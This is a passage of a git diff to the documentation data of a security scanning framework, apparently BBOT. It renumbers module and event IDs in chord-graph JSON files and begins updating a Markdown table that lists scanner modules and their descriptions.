-1789,43 +1751,43 @@ "produces": [] }, { - "id": 124, + "id": 123, "name": "portscan", "parent": 99999999, "consumes": [ 7, 12, - 125 + 124 ], "produces": [ 16 ] }, { - "id": 126, + "id": 125, "name": "postman", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 127, + "id": 126, "name": "postman_download", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 128, + "id": 127, "name": "rapiddns", "parent": 99999999, "consumes": [ @@ -1836,18 +1798,18 @@ ] }, { - "id": 129, + "id": 128, "name": "reflected_parameters", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [ 4 ] }, { - "id": 130, + "id": 129, "name": "retirejs", "parent": 99999999, "consumes": [ @@ -1858,7 +1820,7 @@ ] }, { - "id": 131, + "id": 130, "name": "robots", "parent": 99999999, "consumes": [ @@ -1869,7 +1831,7 @@ ] }, { - "id": 132, + "id": 131, "name": "securitytrails", "parent": 99999999, "consumes": [ @@ -1880,19 +1842,19 @@ ] }, { - "id": 133, + "id": 132, "name": "securitytxt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, + 47, 20 ] }, { - "id": 134, + "id": 133, "name": "shodan_dns", "parent": 99999999, "consumes": [ @@ -1903,7 +1865,7 @@ ] }, { - "id": 135, + "id": 134, "name": "shodan_idb", "parent": 99999999, "consumes": [ @@ -1914,12 +1876,11 @@ 7, 4, 16, - 17, 5 ] }, { - "id": 136, + "id": 135, "name": "sitedossier", "parent": 99999999, "consumes": [ @@ -1930,18 +1891,18 @@ ] }, { - "id": 137, + "id": 136, "name": "skymem", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 138, + "id": 137, "name": "smuggler", "parent": 99999999, "consumes": [ @@ -1952,43 +1913,43 @@ ] }, { - "id": 139, + "id": 138, "name": "social", "parent": 99999999, "consumes": [ 20 ], "produces": [ - 68 + 67 ] }, { - "id": 140, + "id": 139, "name": "speculate", "parent": 99999999, "consumes": [ - 141, + 19, 7, - 23, + 22, 2, 12, - 125, - 68, - 25, + 124, + 67, + 24, 3, 20, - 51 + 50 ], "produces": [ 7, 4, 12, 16, - 67 + 66 ] }, { - "id": 142, + "id": 140, "name": "sslcert", "parent": 99999999, "consumes": [ @@ -1996,11 +1957,11 @@ ], "produces": [ 7, - 48 + 47 ] }, { - "id": 143, + "id": 141, "name": "subdomaincenter", "parent": 99999999, "consumes": [ @@ -2011,7 +1972,7 @@ ] }, { - "id": 144, + "id": 142, "name": "subdomainradar", "parent": 99999999, "consumes": [ @@ -2022,17 +1983,17 @@ ] }, { - "id": 145, + "id": 143, "name": "subdomains", "parent": 99999999, "consumes": [ 7, - 23 + 22 ], "produces": [] }, { - "id": 146, + "id": 144, "name": "telerik", "parent": 99999999, "consumes": [ @@ -2040,12 +2001,11 @@ 3 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 147, + "id": 145, "name": "trickest", "parent": 99999999, "consumes": [ @@ -2056,22 +2016,21 @@ ] }, { - "id": 148, + "id": 146, "name": "trufflehog", "parent": 99999999, "consumes": [ - 46, + 45, 10, 2, - 73 + 72 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 149, + "id": 147, "name": "unarchive", "parent": 99999999, "consumes": [ @@ -2082,7 +2041,7 @@ ] }, { - "id": 150, + "id": 148, "name": "url_manipulation", "parent": 99999999, "consumes": [ @@ -2093,7 +2052,7 @@ ] }, { - "id": 151, + "id": 149, "name": "urlscan", "parent": 99999999, "consumes": [ @@ -2105,7 +2064,7 @@ ] }, { - "id": 152, + "id": 150, "name": "vhost", "parent": 99999999, "consumes": [ @@ -2113,11 +2072,11 @@ ], "produces": [ 7, - 153 + 151 ] }, { - "id": 154, + "id": 152, "name": "viewdns", "parent": 99999999, "consumes": [ @@ -2128,7 +2087,7 @@ ] }, { - "id": 155, + "id": 153, "name": "virustotal", "parent": 99999999, "consumes": [ @@ -2139,18 +2098,18 @@ ] }, { - "id": 156, + "id": 154, "name": "wafw00f", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 18 + 17 ] }, { - "id": 157, + "id": 155, "name": "wayback", "parent": 99999999, "consumes": [ @@ -2162,40 +2121,38 @@ ] }, { - "id": 158, + "id": 156, "name": "web_parameters", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [] }, { - "id": 159, + "id": 157, "name": "web_report", "parent": 99999999, "consumes": [ 4, - 17, + 5, 3, - 153, - 5 + 151 ], "produces": [] }, { - "id": 160, + "id": 158, "name": "wpscan", "parent": 99999999, "consumes": [ 2, - 17 + 5 ], "produces": [ 4, - 17, - 20, - 5 + 5, + 20 ] } ] \ No newline at end of file diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index 176e46f0a0..fe6b4a0bac 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -55,7 +55,7 @@ "type": "consumes" }, { - "source": 5, + "source": 4, "target": 14, "type": "produces" }, @@ -86,7 +86,7 @@ }, { "source": 15, - "target": 17, + "target": 5, "type": "consumes" }, { @@ -96,12 +96,7 @@ }, { "source": 15, - "target": 5, - "type": "consumes" - }, - { - "source": 15, - "target": 18, + "target": 17, "type": "consumes" }, { @@ -115,68 +110,73 @@ "type": "produces" }, { - "source": 19, + "source": 18, "target": 7, "type": "consumes" }, { - "source": 20, - "target": 19, + "source": 19, + "target": 18, "type": "produces" }, { - "source": 21, - "target": 7, - "type": "consumes" + "source": 7, + "target": 18, + "type": "produces" }, { - "source": 7, - "target": 21, + "source": 4, + "target": 18, "type": "produces" }, { - "source": 22, - "target": 7, - "type": "consumes" + "source": 20, + "target": 18, + "type": "produces" }, { - "source": 22, - "target": 23, + "source": 21, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 21, "target": 22, - "type": "produces" + "type": "consumes" }, { - "source": 5, - "target": 22, + "source": 4, + "target": 21, "type": "produces" }, { - "source": 24, - "target": 25, + "source": 23, + "target": 24, "type": "consumes" }, { - "source": 24, + "source": 23, "target": 3, "type": "consumes" }, { "source": 4, - "target": 24, + "target": 23, "type": "produces" }, { - "source": 5, - "target": 24, + "source": 25, + "target": 7, + "type": "consumes" + }, + { + "source": 4, + "target": 25, "type": "produces" }, { "source": 26, - "target": 7, + "target": 2, "type": "consumes" }, { @@ -191,36 +191,36 @@ }, { "source": 27, - "target": 2, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 27, "type": "produces" }, { - "source": 17, + "source": 20, "target": 27, "type": "produces" }, { - "source": 5, - "target": 27, - "type": "produces" + "source": 28, + "target": 7, + "type": "consumes" }, { "source": 28, - "target": 7, + "target": 24, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 28, "type": "produces" }, { - "source": 20, + "source": 24, "target": 28, "type": "produces" }, @@ -231,7 +231,7 @@ }, { "source": 29, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -240,37 +240,37 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 29, "type": "produces" }, { "source": 30, - "target": 7, - "type": "consumes" - }, - { - "source": 30, - "target": 25, + "target": 24, "type": "consumes" }, { - "source": 4, + "source": 20, "target": 30, "type": "produces" }, { - "source": 25, - "target": 30, - "type": "produces" + "source": 31, + "target": 7, + "type": "consumes" }, { "source": 31, - "target": 25, + "target": 24, "type": "consumes" }, { - "source": 20, + "source": 4, + "target": 31, + "type": "produces" + }, + { + "source": 24, "target": 31, "type": "produces" }, @@ -281,7 +281,7 @@ }, { "source": 32, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -290,7 +290,7 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 32, "type": "produces" }, @@ -301,7 +301,7 @@ }, { "source": 33, - "target": 25, + "target": 24, "type": "consumes" }, { @@ -310,7 +310,7 @@ "type": "produces" }, { - "source": 25, + "source": 24, "target": 33, "type": "produces" }, @@ -320,17 +320,7 @@ "type": "consumes" }, { - "source": 34, - "target": 25, - "type": "consumes" - }, - { - "source": 4, - "target": 34, - "type": "produces" - }, - { - "source": 25, + "source": 7, "target": 34, "type": "produces" }, @@ -346,21 +336,21 @@ }, { "source": 36, - "target": 7, + "target": 3, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 36, "type": "produces" }, { "source": 37, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 37, "type": "produces" }, @@ -376,107 +366,107 @@ }, { "source": 39, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 39, - "type": "produces" - }, - { - "source": 40, "target": 12, "type": "consumes" }, { "source": 7, - "target": 40, + "target": 39, "type": "produces" }, { "source": 12, - "target": 40, + "target": 39, "type": "produces" }, { "source": 16, - "target": 40, + "target": 39, "type": "produces" }, { - "source": 41, - "target": 40, + "source": 40, + "target": 39, "type": "produces" }, { - "source": 42, - "target": 40, + "source": 41, + "target": 39, "type": "produces" }, { - "source": 17, - "target": 40, + "source": 5, + "target": 39, "type": "produces" }, { "source": 20, - "target": 40, + "target": 39, "type": "produces" }, { - "source": 43, + "source": 42, "target": 7, "type": "consumes" }, { "source": 7, - "target": 43, + "target": 42, "type": "produces" }, { - "source": 44, + "source": 43, "target": 7, "type": "consumes" }, { "source": 7, - "target": 44, + "target": 43, "type": "produces" }, { - "source": 45, + "source": 44, "target": 20, "type": "consumes" }, { - "source": 46, - "target": 45, + "source": 45, + "target": 44, "type": "produces" }, { - "source": 47, + "source": 46, "target": 7, "type": "consumes" }, + { + "source": 47, + "target": 46, + "type": "produces" + }, { "source": 48, - "target": 47, + "target": 46, "type": "produces" }, { "source": 49, - "target": 47, + "target": 46, "type": "produces" }, { "source": 50, - "target": 47, + "target": 46, "type": "produces" }, { "source": 51, - "target": 47, + "target": 7, + "type": "consumes" + }, + { + "source": 7, + "target": 51, "type": "produces" }, { @@ -495,1413 +485,1358 @@ "type": "consumes" }, { - "source": 7, + "source": 47, "target": 53, "type": "produces" }, - { - "source": 54, - "target": 7, - "type": "consumes" - }, { "source": 48, - "target": 54, + "target": 53, "type": "produces" }, { "source": 49, - "target": 54, + "target": 53, "type": "produces" }, { "source": 50, - "target": 54, - "type": "produces" - }, - { - "source": 51, - "target": 54, + "target": 53, "type": "produces" }, { - "source": 55, + "source": 54, "target": 7, "type": "consumes" }, { "source": 7, - "target": 55, + "target": 54, "type": "produces" }, { - "source": 56, + "source": 55, "target": 7, "type": "consumes" }, { - "source": 57, - "target": 56, + "source": 56, + "target": 55, "type": "produces" }, { "source": 20, - "target": 56, + "target": 55, "type": "produces" }, { - "source": 58, + "source": 57, "target": 7, "type": "consumes" }, { "source": 7, - "target": 58, + "target": 57, "type": "produces" }, { - "source": 59, + "source": 58, "target": 7, "type": "consumes" }, { "source": 7, - "target": 59, + "target": 58, "type": "produces" }, { - "source": 60, + "source": 59, "target": 7, "type": "consumes" }, { "source": 7, - "target": 60, + "target": 59, "type": "produces" }, { - "source": 48, - "target": 60, + "source": 47, + "target": 59, "type": "produces" }, { "source": 20, - "target": 60, + "target": 59, "type": "produces" }, { - "source": 61, + "source": 60, "target": 7, "type": "consumes" }, { "source": 7, - "target": 61, + "target": 60, "type": "produces" }, { - "source": 62, + "source": 61, "target": 7, "type": "consumes" }, { "source": 7, - "target": 62, + "target": 61, "type": "produces" }, { "source": 7, - "target": 63, + "target": 62, "type": "produces" }, { "source": 12, - "target": 63, + "target": 62, "type": "produces" }, { - "source": 57, - "target": 63, + "source": 56, + "target": 62, "type": "produces" }, { - "source": 64, + "source": 63, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 64, + "source": 47, + "target": 63, "type": "produces" }, { - "source": 57, - "target": 64, + "source": 56, + "target": 63, "type": "produces" }, { "source": 20, - "target": 64, + "target": 63, "type": "produces" }, { - "source": 65, - "target": 46, + "source": 64, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 65, + "target": 64, "type": "produces" }, { - "source": 66, - "target": 67, + "source": 65, + "target": 66, "type": "consumes" }, { - "source": 66, - "target": 68, + "source": 65, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 66, + "source": 45, + "target": 65, "type": "produces" }, { - "source": 68, - "target": 66, + "source": 67, + "target": 65, "type": "produces" }, { "source": 20, - "target": 66, + "target": 65, "type": "produces" }, { - "source": 69, + "source": 68, "target": 2, "type": "consumes" }, { - "source": 17, - "target": 69, + "source": 4, + "target": 68, "type": "produces" }, { "source": 5, - "target": 69, + "target": 68, "type": "produces" }, { - "source": 70, + "source": 69, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 70, + "source": 47, + "target": 69, "type": "produces" }, { - "source": 71, - "target": 48, + "source": 70, + "target": 47, "type": "consumes" }, { - "source": 72, + "source": 71, "target": 2, "type": "consumes" }, { - "source": 72, - "target": 73, + "source": 71, + "target": 72, "type": "consumes" }, { "source": 20, - "target": 72, + "target": 71, "type": "produces" }, { - "source": 74, - "target": 72, + "source": 73, + "target": 71, "type": "produces" }, { - "source": 75, + "source": 74, "target": 10, "type": "consumes" }, { - "source": 73, - "target": 75, + "source": 72, + "target": 74, "type": "produces" }, { - "source": 76, + "source": 75, "target": 3, "type": "consumes" }, { "source": 20, - "target": 76, + "target": 75, "type": "produces" }, { - "source": 77, - "target": 78, + "source": 76, + "target": 77, "type": "consumes" }, { "source": 20, - "target": 77, + "target": 76, "type": "produces" }, { - "source": 79, + "source": 78, "target": 2, "type": "consumes" }, { - "source": 79, + "source": 78, "target": 20, "type": "consumes" }, { "source": 10, - "target": 79, + "target": 78, "type": "produces" }, { - "source": 80, + "source": 79, "target": 16, "type": "consumes" }, { - "source": 42, - "target": 80, + "source": 41, + "target": 79, "type": "produces" }, { - "source": 81, + "source": 80, "target": 7, "type": "consumes" }, { "source": 7, - "target": 81, + "target": 80, "type": "produces" }, { - "source": 82, + "source": 81, "target": 3, "type": "consumes" }, { - "source": 5, - "target": 82, + "source": 4, + "target": 81, "type": "produces" }, { - "source": 83, + "source": 82, "target": 3, "type": "consumes" }, { - "source": 46, - "target": 83, + "source": 45, + "target": 82, "type": "produces" }, { "source": 4, - "target": 83, + "target": 82, "type": "produces" }, { - "source": 84, - "target": 46, + "source": 83, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 84, + "target": 83, "type": "produces" }, { - "source": 85, - "target": 46, + "source": 84, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 85, + "target": 84, "type": "produces" }, { - "source": 86, + "source": 85, "target": 7, "type": "consumes" }, { - "source": 46, - "target": 86, + "source": 45, + "target": 85, "type": "produces" }, { "source": 20, - "target": 86, + "target": 85, "type": "produces" }, { - "source": 87, - "target": 67, + "source": 86, + "target": 66, "type": "consumes" }, { - "source": 87, - "target": 68, + "source": 86, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 87, + "source": 45, + "target": 86, "type": "produces" }, { - "source": 88, + "source": 87, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 88, + "source": 47, + "target": 87, "type": "produces" }, { - "source": 68, - "target": 88, + "source": 67, + "target": 87, "type": "produces" }, { - "source": 89, - "target": 46, + "source": 88, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 89, + "target": 88, "type": "produces" }, { - "source": 90, - "target": 68, + "source": 89, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 90, + "source": 45, + "target": 89, "type": "produces" }, { - "source": 91, + "source": 90, "target": 2, "type": "consumes" }, { - "source": 91, - "target": 68, + "source": 90, + "target": 67, "type": "consumes" }, { - "source": 91, - "target": 17, + "source": 90, + "target": 5, "type": "consumes" }, { - "source": 46, - "target": 91, + "source": 45, + "target": 90, "type": "produces" }, { "source": 4, - "target": 91, + "target": 90, "type": "produces" }, { - "source": 68, - "target": 91, + "source": 67, + "target": 90, "type": "produces" }, { - "source": 17, - "target": 91, + "source": 5, + "target": 90, "type": "produces" }, { - "source": 92, - "target": 46, + "source": 91, + "target": 45, "type": "consumes" }, { - "source": 92, - "target": 67, + "source": 91, + "target": 66, "type": "consumes" }, { "source": 9, - "target": 92, + "target": 91, "type": "produces" }, { - "source": 93, - "target": 68, + "source": 92, + "target": 67, "type": "consumes" }, { - "source": 93, + "source": 92, "target": 3, "type": "consumes" }, { - "source": 17, - "target": 93, + "source": 5, + "target": 92, "type": "produces" }, { "source": 3, - "target": 93, + "target": 92, "type": "produces" }, { "source": 20, - "target": 93, + "target": 92, "type": "produces" }, { - "source": 94, - "target": 93, + "source": 93, + "target": 92, "type": "produces" }, { - "source": 95, + "source": 94, "target": 3, "type": "consumes" }, { "source": 4, - "target": 95, + "target": 94, "type": "produces" }, { - "source": 96, + "source": 95, "target": 7, "type": "consumes" }, { "source": 7, - "target": 96, + "target": 95, "type": "produces" }, { - "source": 97, + "source": 96, "target": 2, "type": "consumes" }, { "source": 4, - "target": 97, + "target": 96, "type": "produces" }, { - "source": 98, + "source": 97, "target": 16, "type": "consumes" }, { - "source": 98, + "source": 97, "target": 3, "type": "consumes" }, { - "source": 98, + "source": 97, "target": 20, "type": "consumes" }, { "source": 2, - "target": 98, + "target": 97, "type": "produces" }, { "source": 3, - "target": 98, + "target": 97, "type": "produces" }, { - "source": 99, - "target": 74, + "source": 98, + "target": 73, "type": "consumes" }, { "source": 4, - "target": 99, + "target": 98, "type": "produces" }, { - "source": 100, + "source": 99, "target": 7, "type": "consumes" }, { "source": 7, - "target": 100, + "target": 99, "type": "produces" }, { - "source": 48, - "target": 100, + "source": 47, + "target": 99, "type": "produces" }, { "source": 20, - "target": 100, + "target": 99, "type": "produces" }, { - "source": 101, + "source": 100, "target": 3, "type": "consumes" }, { - "source": 78, - "target": 101, + "source": 77, + "target": 100, "type": "produces" }, { - "source": 102, + "source": 101, "target": 12, "type": "consumes" }, { - "source": 103, - "target": 102, + "source": 102, + "target": 101, "type": "produces" }, { - "source": 104, + "source": 103, "target": 12, "type": "consumes" }, { "source": 12, - "target": 104, + "target": 103, "type": "produces" }, { - "source": 105, + "source": 104, "target": 12, "type": "consumes" }, { - "source": 103, - "target": 105, + "source": 102, + "target": 104, "type": "produces" }, { - "source": 106, + "source": 105, "target": 10, "type": "consumes" }, { "source": 10, - "target": 106, + "target": 105, "type": "produces" }, { - "source": 107, + "source": 106, "target": 7, "type": "consumes" }, { "source": 7, - "target": 107, + "target": 106, "type": "produces" }, { - "source": 108, - "target": 42, + "source": 107, + "target": 41, "type": "consumes" }, { "source": 4, - "target": 108, + "target": 107, "type": "produces" }, { - "source": 109, + "source": 108, "target": 3, "type": "consumes" }, { - "source": 109, - "target": 74, + "source": 108, + "target": 73, "type": "consumes" }, { "source": 4, - "target": 109, - "type": "produces" - }, - { - "source": 5, - "target": 109, + "target": 108, "type": "produces" }, { - "source": 110, - "target": 42, + "source": 109, + "target": 41, "type": "consumes" }, { - "source": 5, - "target": 110, + "source": 4, + "target": 109, "type": "produces" }, { - "source": 111, + "source": 110, "target": 7, "type": "consumes" }, { "source": 7, - "target": 111, + "target": 110, "type": "produces" }, { - "source": 112, + "source": 111, "target": 2, "type": "consumes" }, { "source": 4, - "target": 112, + "target": 111, "type": "produces" }, { - "source": 113, + "source": 112, "target": 7, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 2, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 12, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 16, "type": "consumes" }, { - "source": 113, - "target": 42, + "source": 112, + "target": 41, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 2, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 3, "type": "consumes" }, { "source": 7, - "target": 114, + "target": 113, "type": "produces" }, { "source": 4, - "target": 114, + "target": 113, "type": "produces" }, { - "source": 115, + "source": 114, "target": 3, "type": "consumes" }, { "source": 4, - "target": 115, - "type": "produces" - }, - { - "source": 17, - "target": 115, + "target": 114, "type": "produces" }, { "source": 5, - "target": 115, + "target": 114, "type": "produces" }, { - "source": 116, + "source": 115, "target": 7, "type": "consumes" }, { - "source": 116, + "source": 115, "target": 20, "type": "consumes" }, { "source": 7, - "target": 116, + "target": 115, "type": "produces" }, { - "source": 117, + "source": 116, "target": 7, "type": "consumes" }, { "source": 7, - "target": 117, + "target": 116, "type": "produces" }, { - "source": 118, + "source": 117, "target": 2, "type": "consumes" }, { - "source": 118, - "target": 74, + "source": 117, + "target": 73, "type": "consumes" }, { - "source": 4, - "target": 118, - "type": "produces" - }, - { - "source": 74, - "target": 118, + "source": 73, + "target": 117, "type": "produces" }, { - "source": 119, + "source": 118, "target": 2, "type": "consumes" }, { - "source": 119, - "target": 74, + "source": 118, + "target": 73, "type": "consumes" }, { - "source": 4, - "target": 119, - "type": "produces" - }, - { - "source": 74, - "target": 119, + "source": 73, + "target": 118, "type": "produces" }, { - "source": 120, + "source": 119, "target": 2, "type": "consumes" }, { - "source": 120, - "target": 74, + "source": 119, + "target": 73, "type": "consumes" }, { - "source": 74, - "target": 120, + "source": 73, + "target": 119, "type": "produces" }, { - "source": 121, + "source": 120, "target": 7, "type": "consumes" }, { "source": 7, - "target": 121, + "target": 120, "type": "produces" }, { - "source": 122, + "source": 121, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 122, + "source": 47, + "target": 121, "type": "produces" }, { - "source": 123, + "source": 122, "target": 16, "type": "consumes" }, { - "source": 123, + "source": 122, "target": 3, "type": "consumes" }, { - "source": 123, + "source": 122, "target": 20, "type": "consumes" }, { - "source": 124, + "source": 123, "target": 7, "type": "consumes" }, { - "source": 124, + "source": 123, "target": 12, "type": "consumes" }, { - "source": 124, - "target": 125, + "source": 123, + "target": 124, "type": "consumes" }, { "source": 16, - "target": 124, + "target": 123, "type": "produces" }, { - "source": 126, - "target": 67, + "source": 125, + "target": 66, "type": "consumes" }, { - "source": 126, - "target": 68, + "source": 125, + "target": 67, "type": "consumes" }, { - "source": 46, - "target": 126, + "source": 45, + "target": 125, "type": "produces" }, { - "source": 127, - "target": 46, + "source": 126, + "target": 45, "type": "consumes" }, { "source": 10, - "target": 127, + "target": 126, "type": "produces" }, { - "source": 128, + "source": 127, "target": 7, "type": "consumes" }, { "source": 7, - "target": 128, + "target": 127, "type": "produces" }, { - "source": 129, - "target": 74, + "source": 128, + "target": 73, "type": "consumes" }, { "source": 4, - "target": 129, + "target": 128, "type": "produces" }, { - "source": 130, + "source": 129, "target": 20, "type": "consumes" }, { "source": 4, - "target": 130, + "target": 129, "type": "produces" }, { - "source": 131, + "source": 130, "target": 3, "type": "consumes" }, { "source": 20, - "target": 131, + "target": 130, "type": "produces" }, { - "source": 132, + "source": 131, "target": 7, "type": "consumes" }, { "source": 7, - "target": 132, + "target": 131, "type": "produces" }, { - "source": 133, + "source": 132, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 133, + "source": 47, + "target": 132, "type": "produces" }, { "source": 20, - "target": 133, + "target": 132, "type": "produces" }, { - "source": 134, + "source": 133, "target": 7, "type": "consumes" }, { "source": 7, - "target": 134, + "target": 133, "type": "produces" }, { - "source": 135, + "source": 134, "target": 7, "type": "consumes" }, { - "source": 135, + "source": 134, "target": 12, "type": "consumes" }, { "source": 7, - "target": 135, + "target": 134, "type": "produces" }, { "source": 4, - "target": 135, + "target": 134, "type": "produces" }, { "source": 16, - "target": 135, - "type": "produces" - }, - { - "source": 17, - "target": 135, + "target": 134, "type": "produces" }, { "source": 5, - "target": 135, + "target": 134, "type": "produces" }, { - "source": 136, + "source": 135, "target": 7, "type": "consumes" }, { "source": 7, - "target": 136, + "target": 135, "type": "produces" }, { - "source": 137, + "source": 136, "target": 7, "type": "consumes" }, { - "source": 48, - "target": 137, + "source": 47, + "target": 136, "type": "produces" }, { - "source": 138, + "source": 137, "target": 3, "type": "consumes" }, { "source": 4, - "target": 138, + "target": 137, "type": "produces" }, { - "source": 139, + "source": 138, "target": 20, "type": "consumes" }, { - "source": 68, - "target": 139, + "source": 67, + "target": 138, "type": "produces" }, { - "source": 140, - "target": 141, + "source": 139, + "target": 19, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 7, "type": "consumes" }, { - "source": 140, - "target": 23, + "source": 139, + "target": 22, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 2, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 12, "type": "consumes" }, { - "source": 140, - "target": 125, + "source": 139, + "target": 124, "type": "consumes" }, { - "source": 140, - "target": 68, + "source": 139, + "target": 67, "type": "consumes" }, { - "source": 140, - "target": 25, + "source": 139, + "target": 24, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 3, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 20, "type": "consumes" }, { - "source": 140, - "target": 51, + "source": 139, + "target": 50, "type": "consumes" }, { "source": 7, - "target": 140, + "target": 139, "type": "produces" }, { "source": 4, - "target": 140, + "target": 139, "type": "produces" }, { "source": 12, - "target": 140, + "target": 139, "type": "produces" }, { "source": 16, - "target": 140, + "target": 139, "type": "produces" }, { - "source": 67, - "target": 140, + "source": 66, + "target": 139, "type": "produces" }, { - "source": 142, + "source": 140, "target": 16, "type": "consumes" }, { "source": 7, - "target": 142, + "target": 140, "type": "produces" }, { - "source": 48, - "target": 142, + "source": 47, + "target": 140, "type": "produces" }, { - "source": 143, + "source": 141, "target": 7, "type": "consumes" }, { "source": 7, - "target": 143, + "target": 141, "type": "produces" }, { - "source": 144, + "source": 142, "target": 7, "type": "consumes" }, { "source": 7, - "target": 144, + "target": 142, "type": "produces" }, { - "source": 145, + "source": 143, "target": 7, "type": "consumes" }, { - "source": 145, - "target": 23, + "source": 143, + "target": 22, "type": "consumes" }, { - "source": 146, + "source": 144, "target": 2, "type": "consumes" }, { - "source": 146, + "source": 144, "target": 3, "type": "consumes" }, { "source": 4, - "target": 146, - "type": "produces" - }, - { - "source": 5, - "target": 146, + "target": 144, "type": "produces" }, { - "source": 147, + "source": 145, "target": 7, "type": "consumes" }, { "source": 7, - "target": 147, + "target": 145, "type": "produces" }, { - "source": 148, - "target": 46, + "source": 146, + "target": 45, "type": "consumes" }, { - "source": 148, + "source": 146, "target": 10, "type": "consumes" }, { - "source": 148, + "source": 146, "target": 2, "type": "consumes" }, { - "source": 148, - "target": 73, + "source": 146, + "target": 72, "type": "consumes" }, { "source": 4, - "target": 148, - "type": "produces" - }, - { - "source": 5, - "target": 148, + "target": 146, "type": "produces" }, { - "source": 149, + "source": 147, "target": 10, "type": "consumes" }, { "source": 10, - "target": 149, + "target": 147, "type": "produces" }, { - "source": 150, + "source": 148, "target": 3, "type": "consumes" }, { "source": 4, - "target": 150, + "target": 148, "type": "produces" }, { - "source": 151, + "source": 149, "target": 7, "type": "consumes" }, { "source": 7, - "target": 151, + "target": 149, "type": "produces" }, { "source": 20, - "target": 151, + "target": 149, "type": "produces" }, { - "source": 152, + "source": 150, "target": 3, "type": "consumes" }, { "source": 7, - "target": 152, + "target": 150, "type": "produces" }, { - "source": 153, - "target": 152, + "source": 151, + "target": 150, "type": "produces" }, { - "source": 154, + "source": 152, "target": 7, "type": "consumes" }, { "source": 7, - "target": 154, + "target": 152, "type": "produces" }, { - "source": 155, + "source": 153, "target": 7, "type": "consumes" }, { "source": 7, - "target": 155, + "target": 153, "type": "produces" }, { - "source": 156, + "source": 154, "target": 3, "type": "consumes" }, { - "source": 18, - "target": 156, + "source": 17, + "target": 154, "type": "produces" }, { - "source": 157, + "source": 155, "target": 7, "type": "consumes" }, { "source": 7, - "target": 157, + "target": 155, "type": "produces" }, { "source": 20, - "target": 157, + "target": 155, "type": "produces" }, { - "source": 158, - "target": 74, + "source": 156, + "target": 73, "type": "consumes" }, { - "source": 159, + "source": 157, "target": 4, "type": "consumes" }, { - "source": 159, - "target": 17, + "source": 157, + "target": 5, "type": "consumes" }, { - "source": 159, + "source": 157, "target": 3, "type": "consumes" }, { - "source": 159, - "target": 153, - "type": "consumes" - }, - { - "source": 159, - "target": 5, + "source": 157, + "target": 151, "type": "consumes" }, { - "source": 160, + "source": 158, "target": 2, "type": "consumes" }, { - "source": 160, - "target": 17, + "source": 158, + "target": 5, "type": "consumes" }, { "source": 4, - "target": 160, + "target": 158, "type": "produces" }, { - "source": 17, - "target": 160, + "source": 5, + "target": 158, "type": "produces" }, { "source": 20, - "target": 160, - "type": "produces" - }, - { - "source": 5, - "target": 160, + "target": 158, "type": "produces" } ] \ No newline at end of file diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 4205db8810..5e5477260b 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -3,12 +3,12 @@ <!-- BBOT MODULES --> | Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events | Author | Created Date | |-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------| -| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, safe, web-thorough | HTTP_RESPONSE, URL | FINDING, VULNERABILITY | @liquidsec | 2024-01-18 | -| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, safe, web-thorough | URL | VULNERABILITY | @liquidsec | 2025-01-28 | -| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, safe, subdomain-hijack, web-basic | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING, VULNERABILITY | @liquidsec | 2024-01-18 | -| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, safe, subdomain-enum | STORAGE_BUCKET, URL | FINDING, VULNERABILITY | @liquidsec | 2024-01-29 | -| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, safe, 